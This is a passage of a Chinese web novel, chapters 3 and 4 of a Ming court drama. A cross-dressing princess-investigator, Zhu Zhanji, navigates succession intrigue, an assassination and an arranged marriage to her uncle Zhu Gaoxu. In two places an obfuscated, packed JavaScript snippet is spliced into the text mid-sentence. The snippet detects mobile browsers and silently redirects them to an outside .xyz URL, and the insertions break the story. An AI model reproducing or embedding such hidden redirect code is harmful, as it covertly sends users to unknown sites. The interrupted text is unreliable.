《魇阙锁笑靥(煦基)》 3. 错鸳鸯 花开花落,多少春秋如梦过,光阴如梭,少女静待及笄日。一方岁月静好,自然有一方战火纷飞。瓦剌首领马哈木联合鞑靼首领阿鲁台拥立本雅失里为大汗,对抗大明。永乐八年阿鲁台刺杀明朝使者引发大规模战争,朱棣御驾亲征,追击阿鲁台至静虏镇。无奈,阿鲁台旧部如春天野草,如果不一把火把他们烧的干干净净杀的他们断子绝孙,这些人就像是对大明边疆虎视眈眈的饿狼。 永乐十二年,朱棣二次亲征阿鲁台。 太子府内。 “昨日刚收到前线的消息,陛下要凯旋了。”朱高炽坐在庭院里的太师椅上,阳光透过叶子,在他身上撒下一片碎金,神情悠然自得,怀里抱着一条小白狗,随意对张妍说。 张妍蹭地一下子站起,连说了几声“哎呦”,忽然又不可置信地看着朱高炽,说:“咱爹凯旋怎么到了你嘴里就成了小事儿了?要是有什么刺客搞刺杀,老爷子还以为是你这个太子急着想接他的班当皇上呢!” 朱高炽逗弄着手里的小白狗,轻笑:“老二在前线立了大功,你说老爷子总得让他风光两天贬低一下我这个当太子的吧?老二善于侦查,那就让他侦查去,侦查侦查反贼的动向。” 张妍惊呼一声:“京城里头有反贼?那你怎么不将他们擒拿住!你这不是留着辫子给汉王抓嘛!到时候老爷子一开心封他当太子,等他一登基,咱家乞讨过回老祖宗的日子都是幸运了!” 小白狗在朱高炽怀里叫了两声,朱高炽轻轻地给他顺毛。好半晌,望着张妍笑说:“要是这反贼这么容易被我找着才是咱家最大的危害呢。这反贼不能抓,搞得我这个太子多聪明一样,人要聪明但不能让别人知道你聪明,对症下药就毁了。” “你是说那反贼和——和老二有关系。”张妍顿悟,凑到他耳边说,“老二打着建文皇帝的旗号组织起来了靖难遗孤!”朱高炽神情悠然自得,笑说:“刺杀不可避免,不然你以为我前些日子盯着各地收成、地方经济、国库银子不放是为了什么?我和老二都是将功折罪,我防患不利他意图谋反,但他有功劳我有苦劳,老爷子反正不会给我们俩脸子瞧。” 朱高炽环顾四周却没见朱瞻基,张妍露出一个苦涩地微笑,略显无奈地同他讲:“昨日我为着她的及笄里忙得不可开交,这丫头自己跑去找朱瞻埈〖1〗对对子,她说:‘雄鸡报晓独一声’,你儿子说:‘鸭子玩水共四只’,她说对的好笑,你儿子说这是她的绣品,二人都是暴脾气,打起来了,那丫头不想再见他,一大清早换了男装一身飞鱼服风风火火去北镇抚司了。” 张妍抱怨道:“也不知我和李氏都怎么教的孩子,我分明让瞻基绣的鸳鸯,她绣成公鸡,朱瞻埈以为绣的是鸭子。怎么这俩都没有继承我和李氏的绣工呢?” 朱高炽微笑:“绣错鸳鸯不打紧。”张妍回屋拿出一个精致的小木盒,里头装着朱高煦寄来的信,冷笑:“老二这个做弟弟的倒是真想在老头子面前装作兄友弟恭,出征约莫一年寄来的信快把太子府淹了,最开始她还有耐心整理二叔寄来的信放在小盒里,后来基本你俩看完就烧了。” 朱瞻基一袭飞鱼服腰间刀鞘插着刚染血还没洗净的绣春刀,颇有一股铁面无私的官爷气质,风风火火地从正门进来就听见二人在讨论书信,回头看了一眼张妍,无奈道:“娘,我让你看你也不想看啊。” 张妍白了她一眼,朱高炽冲着朱瞻基摆摆手,笑道:“我也不想看,他十封信九封是问候你的,表面上打着我的旗号实际上说的都是你。往后干脆这信也别到我手上了,直接给你吧。”朱瞻基无语,她气得跳脚,对着爹娘道:“爹,他那些信就是参杂着砒霜的蜜饯!打着你我的幌子,一字一句全是对京城消息的打探!他在信里表面是担忧我扮作锦衣卫期间受伤,实际上就是想知道京城出了什么事值得让太子和郡主关心,搞清楚京城时局!表面上说让我和他倾诉朝廷上谁有不臣之心,实际上人家在搞清朝廷派系谁可为他所用!” 还没等朱高炽开口笑她,张妍立刻关注到了刀鞘上的丝丝血迹,冲上前去,绕着朱瞻基转了两三圈,见其身上没有血迹衣服没有刀剑砍过的破损浅浅放下一颗心,担忧问道:“你这是怎么弄上的血啊?” 朱瞻基难以启齿地开口:“说来你们可能不信,路上遇见朱瞻埈抱着个鸭子说要放我屋里养着,我拿刀就——” “砍了你弟弟!”张妍惊呼,“尸体在哪?曝尸多少有点不地道啊。” 朱瞻基眼部肌肉抽了抽,高声说:“那个鸭子!”随后面露遗憾,同张妍以唠家常地口吻说:“早知道还不如砍了他呢。”张妍气得说不出话。 “晚饭让他吃那个鸭子的尸体吧,也不算浪费。”朱高炽安慰完张妍,笑着吩咐朱瞻基。 为着朱棣凯旋的事,朱瞻基一日收到了朱棣的三封密信,最晚的一封是亥时送来的,迷迷糊糊从床上爬起披上外衣点上蜡烛,借着微弱的烛光和月光,朱瞻基勉强看清了信上的内容: “民生天命,俱为一体。”“北征耗损甚巨,百姓负担之大,户部奏报黄河溢堤直隶蝗灾,朕心甚愧”讲的是要减免税负,违反《捕蝗令》的人要杀头。 “此番北征,朕以火器摧其营垒,虽军纪严明,然军中弊端亦甚——甲胄锈蚀,驿马瘦弱,可见腐败较元有过之而无不及,须整饬。”讲的是老头子凯旋后北镇抚司的诏狱要人满为患,朱棣要大开杀戒整治贪官污吏。 …… 内容多与白日两封无所差异,唯有一句话吸引了朱瞻基的注意: 汉王疑心京城有贼人作祟,待朕归京,协助汉王调查靖难遗孤,莫要打草惊蛇。 朱瞻基蹙眉,心道:“爷爷既然已经知道了此次凯旋是靖难遗孤动手的最好机会,却说‘待朕归京,协助汉王调查’‘莫要打草惊蛇’按照常理不应该是直接处置他们再凯旋,怎么是凯旋再处置呢?‘汉王疑心’为什么偏偏是他?距离陛下凯旋日子越近与他的书信来往也愈发密切,虽然谨慎提防,但京城也未必没有人通风报信,他疑心倒是最能说明是他想动手。如果是他要刺杀爷爷,如果成了那最大获利人只会是爹,爹可以直接即位,如果不成,爹就有了刺王杀驾急于登台的嫌疑,汉王在前线屡立战功,若是……” 朱瞻基有些不敢继续想下去,她怕再想下去,就是父子不睦、同室操戈,再想下去就能看见脚下无限深渊。她向下张望,一双鸳鸯浮于水面,定睛一看,前方是水流湍急。她总是出神,自从靖难之役过后的屠戮开始,看见一些奇怪的东西已是家常便饭。她曾经向爷爷身边的和尚请教过,他语重心长看着自己,缓缓说:“魇阙魔,生于帝王家,终身被其困扰,生死难获新生。” 熄了蜡烛,月色入户,可没有苏东坡的豁达朱瞻基躺在床上辗转反侧睡不着更没有出去观赏美景的心,长舒一口气,继续想吧,万一“山重水复疑无路,柳暗花明又一村”呢? 爷爷为什么要给我写这么一封信呢? 朱瞻基猛地从床上坐起,内心有了几分雀跃:“我一个小孩儿都能看出来的东西爷爷他老人家未必不知道,前线二叔立了战功,若是不加以褒奖以后二叔三叔和一众将领如何能实心实意地办事?爷爷还要靠着他们打服瓦剌鞑靼,紧要关头只能委屈我和爹。但又怕伤了我们的心,写信是为了安抚,但爹的阅历比我多太多了,道理他明白我未见得明白,所以爷爷写了两封信后意识到不对又写了这一封。担心二叔察觉到异样,不明说,如果我看到前面内容和前两封信如出一辙,想来爷爷以后也不会再用我办事。”但随后她的心又悬了起来,今天只是庆幸,那么将来呢?一大家子为着那把椅子那个玉玺斗来斗去,充满阴谋与算计,像是草丛里伺机而动的毒蛇,每一次的出招都是无数人的殒命 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434246|184948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 朱瞻基想起了老和尚的话——生死难获新生。她又开始想过去了。她想到湘王朱柏安分守己没有子嗣最后却落得一个自焚的下场——这是生前没有新生;她想到湘王朱柏死后被建文皇帝冠以恶谥——这是死后没有新生。 怜惜别人,难免顾影自怜,她又开始想,为什么那个大家争来争去的皇位始终与自己毫无瓜葛。但很快,她开始自我讥讽起来:“你的无病呻吟完全是因为那个位子与自己没有关系,如果你是一个男人,你也会陷入权力的漩涡之中,成为一个不人不鬼的疯子……自古没有皇室女人继承大统,武曌是废除了儿子上位,老和尚算无遗策,说我的儿子以后能当皇帝,那爷爷不会让我外嫁的,那我为什么不能学武曌……朱瞻基,你着相了,你儿子是皇帝,但没人说你是不是皇太后啊。可笑至极。” 错鸳鸯,颠倒阴阳。假凤成真凰,莫言殇。 次日,朱瞻基与张妍进宫与胡尚仪商议朱棣凯旋后的庆功宴,说是三人共同商议,朱瞻基也就是旁边给二位打杂的,永乐二年封了郡主〖2〗后张妍多多少少让她在身边学着为人处事、打理事物,现在也不例外。 二位忙着庆功宴上的膳食,朱瞻基就是把头发揪光了也记不清楚宫里头那一个个金尊玉贵、十指不沾阳春水的奶奶们——朱棣的后妃,更是记不住她们的忌口。朱瞻基曾顽劣地想:“如果我来住持宫宴,第二天就送走一片人。” 朱瞻基找了一个由头,出去和胡善祥翻花绳去了。 “我还是没有曼姝的消息。”朱瞻基坐在台阶上望着胡善祥,略带愧疚。胡善祥将手放在她的手上,略带宽慰:“这么多年我早就认了,或许她还活着忘了一切,或许她活着永远记着我,或许她早死了,我都认了。有一点线索我就去找她,找一辈子也认,没有线索我就等一辈子,大不了下辈子再找她。” 胡善祥出落的愈发美丽,身材高挑有几分胡尚仪的模样,高挑的鼻梁和永远上扬的朱唇让她线条柔和的脸上有了几分精明,可那双桃花眼却说着自己的纯真无邪。她从未忘记过她家与朱家的血海深仇,所以她眼里的天真下隐匿着滔天恨意。 她还记得,再见朱瞻基那天,是靖难之役后的第二年,那个女孩和今天一样一脸愧疚和自己讲没有曼姝的消息,她也和今天一样安慰她。她最开始是有些恨朱瞻基的,不是对朱棣的那种,她恨朱瞻基为什么要姓朱,如果不是这样,她们本可以是天下最好的挚友,可她偏偏姓朱!她是朱棣的亲孙女!再次见到朱瞻基时,胡善祥——那时还是更习惯自己是景曼茵内心警钟长鸣。 夜深时,她回忆着白日与朱瞻基的交谈,不断地提醒自己君臣有别、她是仇人后裔,可自己内心最柔软的一片却在替她辩解: 她救了你 她和他们不一样 景曼茵稚嫩地脸上流下一行清泪。是苦涩的。 红线紧紧缠在一起,胡善祥盯着已经成一团乱麻的红线笑出了声,对着朱瞻基说:“郡主,咱们两个的手缠在一起了。” 前线大营内,朱高煦因着大捷多饮了几杯酒,京城的风吹不到北方的征人,他忽然想起,京城还有一件大事在等着他筹划,终是放下了酒樽。朱棣忽然提起:“回了京城好像还有一件喜事,你们的侄女要及笄了。”说着不自觉地瞥向朱高煦。 朱高燧会错了意,在旁边打趣他:“这侄女都快到了出嫁的年纪,某些人还打光棍呢?”随后又起哄道:“爹,你也不给他赐一桩婚事!不然侄女出嫁了他还打光棍呢!” 朱棣笑道:“说起来你也确实到了娶妻的年纪,这么多年跟着我这个老头子南征北战把这事给忘了,回到京城就给你赐婚。赵王就比你精明,老早就和我请了旨!” 朱高煦不由想起朱瞻基出生前朱棣将他叫到书房说的那一番话。 错鸳鸯能琴瑟和鸣吗? 4. 回鱼箸 太子府花园群芳已谢,茉莉落尽夏归去,唯有缕缕清香尚留人间。朱瞻基在月色下折下槐树树枝,蹲在池子旁,轻轻拨弄挑逗着着池中锦鲤,内心却是一片惆怅。 大军至北京城时已是深夜,朱棣下令原地驻军明日进城。明月高悬于黑夜,月色入户,照不透包藏祸心各怀鬼胎,隐隐约约能听见哭嚎声,不知是老是幼是男是女,空灵、恐怖来自于远方。 靖难遗孤的刺杀在大家的意料之中,千载难逢的大好良机,这次错过就是一辈子的饮恨吞声看着昔日仇敌受万民拜服为天下共主,朱瞻基想,她如果是靖难遗孤她就是粉骨碎身也要让仇人死无全尸。 此夜安宁,今后难求。池子上漂着的几多纯白色的茉莉花,白色芳香沁人心脾,朱瞻基不知何时何日岁月静好就会被传位于汉王朱高煦的诏书打破。 再次见到朱棣和朱高煦,是在靖难遗孤刺杀后。 早些时候,朱棣人未进城就宣了朱瞻基入宫,实则是让她提前和汉王朱高煦、赵王朱高燧联合起来查靖难遗孤的底细,现如今朱棣大步流星走进殿内,胸中满是那场刺杀的怒火,他风风火火,差一些就没看见跪在紫檀边座嵌玉石花卉屏风后跪着的朱瞻基。 朱棣轻轻扶起跪在地上快有了两刻钟的孙女,柔声问她:“查得怎么样了?” 朱瞻基忽然想到刚才见到二叔朱高煦和五城兵马司指挥使火急火燎地往北镇抚司赶去,而那人看到自己竟然露出了一个笑!挑衅! 心里再怎么厌恶二叔,但嘴上还是得说他的好话,自从朱棣和建文皇帝上演“叔侄和睦”以来,朱棣对于同室操戈、手足相残极其畏惧,若是让他看出来未来天子的女儿是一个包藏祸心想弄死叔叔的主,她这辈子也不用干了,得找个人嫁了。 “回皇上的话,二叔正派人查着呢。北镇抚司那边的人说是靖难遗孤,来的时候就看见二叔和五城兵马司指挥使风风火火往那赶了,二叔同我讲这批人做事向来不留踪迹,查起来需要一些工夫。刚才跪着的时候就听见爷爷叫了他们二人和爹,我想我这个做小辈的能力相较于长辈是逊色的,您到不如先听他们说说。”朱瞻基答道。 朱棣微微点了点头,就听见外头太子朱高炽和汉王朱高煦斗嘴的声音,一个极力劝阻一个攻击对方不知战场险恶刀剑无眼,声音由远及近,转眼二人进殿。 朱瞻基上去行了个礼,朱高煦一抬头就瞧见她一袭朱红色直襟对襟短袄,锦缎上金线绣着的缠枝莲花纹装点其中,袖口初的织锦缎子上的镶金线边格外显眼。因为她梳的发髻不算高,没有成婚不带?髻〖1〗,所以她的发髻上仅仅插着几支单股金钗,长长的钗身尽头各十花朵绽放于华发上。 朱瞻基身形高挑,在女人里头算是鹤立鸡群的存在,常年扮作男儿身倒是合适,寻常人也只当她年岁尚小尚且看不出来什么阳刚阴柔,当她穿上锦衣卫那身飞鱼服腰间刀鞘收着绣春刀的时候寻常人更是无人敢直视,因而这两年常以“黄氏”身份示人无人发现破绽。 这么一想,朱高煦的思绪就飘到九霄云外了,在立于朱高煦身侧的朱瞻基眼里,这个便宜二叔的魂儿被黑白无常勾走了,说人话就是——活着不如死了。 二人问安后朱棣缓步向着三人走来,语气严肃:“我这次御驾亲征,血战一年之久,大战阿鲁台部,想不到回京出了这样的事!”忽然他在看向汉王朱高煦的时候语气又稍微柔和:“要不是老二侦查得好,提前侦知了反贼动向(看向太子朱高炽,眼神如寒潭映雪,语气酷若寒霜)太子今天来,就不是为了请安吧。” 朱瞻基内心冷笑:“他做的不知道动向他这个汉王也不用做了,直接剃了度和鸡鸣寺的那个姚广孝〖2〗一起当和尚吧。” 朱高炽一时慌乱,不知是否带有演绎成分,颤颤巍巍说:“可——可我我这——”朱瞻基频繁向他看去,心不由得悬了起来。 朱高煦见太子吃瘪愈发想彰显自己的文治武功,拱手行礼,语气恭敬提出了一个能闹得满城人心惶惶的建议,在末尾处仍然不忘抹黑太子:“可太子不愿意交权,还请陛下下旨。” 朱瞻基咬牙切齿,在听完朱棣连珠炮似的一段问话和朱高炽的磕磕绊绊后忍不住上前对朱棣说:“爷爷,我能否替我爹说两句?”朱棣点头。朱瞻基说:“我爹气虚体胖,这一路小跑过来气都没喘匀。二叔的情报从何而来我不知道,不过此次刺杀真和我爹一点关系都没有啊,爷爷御驾亲征,今天是举国同庆皇帝凯旋的国家之喜,区区几个反贼何足挂齿。” 朱瞻基侧过身子,看向朱高煦扯出一个笑:“封城搜捕大肆扰民怕是好事变坏事,这恐怕不是爷爷想看到的景象。国家之喜要是因为几个反贼耽搁了,还不知会有多少人编排二叔呢。” 朱高煦连忙说:“陛下,不仅要搜捕,满朝官员更是严查,说不定就有着建文皇帝的忠臣,不然刺客怎会如此猖獗!” 朱棣冷笑,一改和颜悦色:“汉王的意思是你要军权。”被戳破心事,朱高煦略显尴尬和迷茫。朱棣缓声说:“朕已经叫五城兵马司的人来了,你搜捕,至于清查官员也按照你的意思办。”此言一出,殿中三位臣子均是一震,言毕朱高煦抬腿就要走,却被朱棣制止:“去偏殿等着吧,朕还要赐你一门婚事呢。” 朱瞻基内心警钟大作:“汉王深得帝心,怕是有不少好人家等着嫁女呢。”就在她差一点忘记朱棣的密信的时候,朱棣对她柔声说:“把你爹搀扶起来吧。”眼底露出丝丝柔情心疼。 朱棣问:“这十月没什么大事?” 太子爷大抵时喘上来气了,说了几声:“十月天下太平。”朱棣随意摆了摆手,说:“没事了回去吧。”朱高炽退出大殿。 朱棣一早就看出了朱瞻基的心事,问她看法,朱瞻基见终于有了机会光明正大给二叔穿小鞋,内心激动,面上却是忠臣:“二叔此次搜捕大张旗鼓必然是什么都查不出来的,刺客敢在凯旋之日刺杀爷爷必然是做好完全准备的,此次祸害的只有平民百姓。”朱棣问她:“很蠢是吗?”言外之意即你觉得朕做这个决策很蠢是吗?朱棣见她不敢吱声,说:“先让汉王折腾两天再偃旗息鼓,两军阵前,让敌人觉得我们就是这么蠢才能让他们放松警惕。” 朱瞻基道:“汉王是臣的二叔,陛下次子,不是敌人。自家人小打小闹怎么可以称作是敌人?”她在内心讥讽自己表里不一,内心大喊:“朱高煦就是我朱瞻基此生之敌。他掌权天都不下雨。” 朱棣笑了几声,对于手足相残的担忧暂且放下一些,道:“安排你个差事,等你二叔折腾完你就继续回锦衣卫当男人去,挑几个精明能干的,替我把建文的住处、如何霍乱人心、同党查清楚。爷爷把金牌给你,赐你先斩后奏权……别和你二叔说哈。”说完,朱瞻基四处寻摸,在笔海里拿出刻着“如朕亲临”四个大字的金牌,抬腿欲走,被朱棣叫住:“别走,过些日子就及笄了吧?”朱瞻基应了一声是。朱棣抚掌大笑,命人叫来在偏殿待的快生出蘑菇的汉王朱高煦,随意一指:“及笄过后一年,倒是到了姚广孝说的那丙申年〖3〗了,你们两个也都到了成婚的年纪(朱瞻基看向朱高煦,内心吐槽:“二叔怕是早就过了成婚的年纪吧?再过几年朱瞻埈就能娶媳妇生孩子了。”)他的话还记得吧?她不能外嫁的,不如——” 跪着的朱高煦和站着的朱瞻基对视一眼,朱高煦能听见朱瞻基轻声叹了一口气。朱瞻基有些欲言又止,好半晌才鼓足了勇气对爷爷说:“爷爷,我不是反对您,但这以后辈分该怎么办啊?我和我爹成一辈了?我要管我娘叫嫂子?生下来的孩子和我一个辈分?二叔以后见了爹得叫岳丈,见了三叔也得叫三叔?往后我儿子管我叫娘我管他叫堂弟?” 朱高煦内心倒是毫无波澜,自从十多年前的书房谈话,他就已经接受了自己要娶一个比自己小太多的人——这个人还是和他作对的侄女。 朱高煦从未告诉过他人这段经历。 姚广孝彼时还以道衍身份示人,一身僧袍却已然彰显了未来黑衣宰相的气魄,他在自己面前完整地说了一遍预言:“翩翩离宸,托生帝阙。命格多舛,错投裙钗。本为君父,今成君母。阴阳颠倒,错失帝王。假凤真凰,当嫁英豪。”道衍微笑:“高阳郡王,这话说的是世子之女本来是男儿身却错投为女儿,这辈子命运多舛,生得纤细高挑面貌英气。” 朱高煦后来在与朱高炽的交谈中旁敲侧击才知道自己比寻常人多听了四句预言。 朱高煦心知其中有几句没有被这个和尚提及必然是因为这是要掉脑袋的,自己又不是大字不识的孩子,这些话还是明白的。 “世子的女儿,以后能生皇帝。”朱高煦内心思索,“这和尚的疯言疯语岂可轻易相信?如若真是这样那我这个侄女倒是命苦,嫁了外人那岂不是要颠覆大明江山了?要是因为一个卦象就相信一个人未来有当皇帝的命,真是世界上最可笑的了。”朱高煦在内心对这个和尚多了几分鄙夷。 道衍微笑。 朱棣发动靖难之役后,道衍时常预言以及为朱棣出谋划策,朱高煦记得真切,道衍预言的那三场大风——第一次,白沟河之战燕王军队陷入绝境,一场大风吹断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434247|184948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了李景隆的帅旗,敌军大乱,朱棣趁机反击;第二次,夹河之战,二十万步兵对峙,激战至傍晚仍没有分出胜负,忽然东北风骤起,黄沙遮天蔽日遮挡了敌军视线,燕王军队乘胜追击至德州;第三次,滹(hū)沱河之战,大风将树木连根拔起攻向敌军大营,燕军乘胜追击至真定城下。〖4〗 事后即朱棣登基后,朱棣曾在一次议会上蹭赞姚广孝:“先生于千里之外运筹帷幄,实在佩服。” 再者,朱高煦曾经三次被道衍预言,皆是一些精确到时刻的鸡毛蒜皮的小事,他也不是没有刻意拖着不做,可最后被人使唤来使唤去却顺手做了,现如今,他对这个和尚的预言倒是有了几分敬重。 朱高煦在内心问自己:喜欢她吗? 答:也许吧。 问:你不羞耻吗?那是你的侄女! 答:也许……吧? 得了,甭问自己了。 朱高煦对于朱瞻基及笄后一年再成婚这个决议还算满意,她才多大?还是一个在京郊跑马绣鸭子的孩子呢。忽然他反应过来——合着侄女年纪大一些他就喜滋滋地接受了? 朱棣听着朱瞻基的发问,觉得有些好笑,安慰道:“皇室玉碟上汉王妃可什么都没写,若是不愿意被‘王妃’名头拘着就写‘韦氏’若是随意就写上真名。” 朱瞻基和朱高煦齐齐想到若是写上“韦氏”二字有朝一日汉王如若登基自可随意处置朱瞻基再寻一个年龄相仿的韦姓女子,若是写她真名那就是朱瞻基站在了太子朱高炽的对立面。 父亲和丈夫难以抉择,侄子和儿子总可以吧? 朱高煦看向朱瞻基,不知她会如何抉择。朱高煦在内心发誓,自己绝对不做那背信弃义之徒,忘恩负义之辈。 朱瞻基拉着朱高煦的袖子接了赐婚圣旨。朱瞻基面上含笑说:“婚姻大事总要父母点过头的,玉碟的事孙女一点都不着急,一年多的日子我恨不得再玩一段时日呢。” 出了大殿,朱瞻基风风火火地走了,朱高煦连半句话都没说上。 嫁给谁,生了谁,朱瞻基通通不在乎!如果她是皇帝,她的丈夫、孩子、兄弟姊妹都是她的附属品,仅此而已。 太子府。 朱瞻埈刚要出门迎面就撞了手拿圣旨的朱瞻基,刚开口问:“这圣旨——”朱瞻基瞪了他一眼,骂道:“陛下金口玉言要诛你九族把你剁成臊子!”朱瞻埈冲着朱瞻基的背影大喊:“朱瞻基,我九族也是你九族!” 朱高炽刚从正厅出来,嘴里喊着“儿子”朱瞻基大喊一声“朱瞻埈”就被朱高炽拦住,接着就看见朱高炽抱起了在树荫下乘凉的小白狗亲近了一会,嘴里喊着“儿子”。 朱瞻基放下圣旨在桌上,对朱高炽说:“爹,您记得准备回鱼箸〖5〗。”言毕就往抄手游廊走去。 朱高炽早就猜到老爷子这回是要给老二和朱瞻基赐婚,于是高声问她:“哪家儿郎啊?” “汉王朱高煦!” 汉王府内。 与五城兵马司指挥使议事过后朱高煦忽然想起了自己的那个即将成为媳妇的侄女,思绪万千。 几年前,祭祀那几日一直都是蒙蒙细雨,长街地滑,太子朱高炽气虚体肥两名宦官搀扶,走得即使在小心却还是摔倒在地。彼时朱高煦风头正盛,自以为太子是自己的囊中之物,不由得开口讥讽:“前人蹉跌,后人知警。” “更有后人知警也!”朱高煦回头想看看是哪个大臣的千金勇于为太子出头,却只看见七八岁的朱瞻基神情严肃。〖6〗 朱瞻基小时候每天一干就是和朱瞻埈吵架逐渐变成打架斗殴把弟弟揍倒在地,张妍通常会把二人都骂的狗血淋头,朱瞻埈写《女戒》朱瞻基写《中庸》,第一次听到朱高煦大吃一惊,心道:“男人写《女戒》,女人写《中庸》?”最后本着嘲笑态度的朱高煦和朱高燧被两个孩子拉去帮忙。 朱瞻基再长大一些也就是“更有后人知警也”的年纪,张妍有心教她修花插花,插花还好绣花却一塌糊涂起来,某日朱高煦有幸看见了朱瞻基绣的几只栩栩如生的鸭子,夸赞道:“大侄女,你这鸭子绣的真好看。” 朱瞻基“哇”一声哭了出来,指着绣了一半的绣品道:“我绣的那是鸳鸯。” 大约是朱瞻基十岁的时候,这丫头不知从什么犄角旮旯弄来了一件男装,来着朱瞻埈跑去了京郊跑马射箭,正巧遇上了和五城兵马司指挥使巡逻的朱高煦,她刚见着人就跑,时至今日还以为自己的伪装天衣无缝。 朱高煦吩咐着下人,准备来日要来朱瞻基的生辰八字。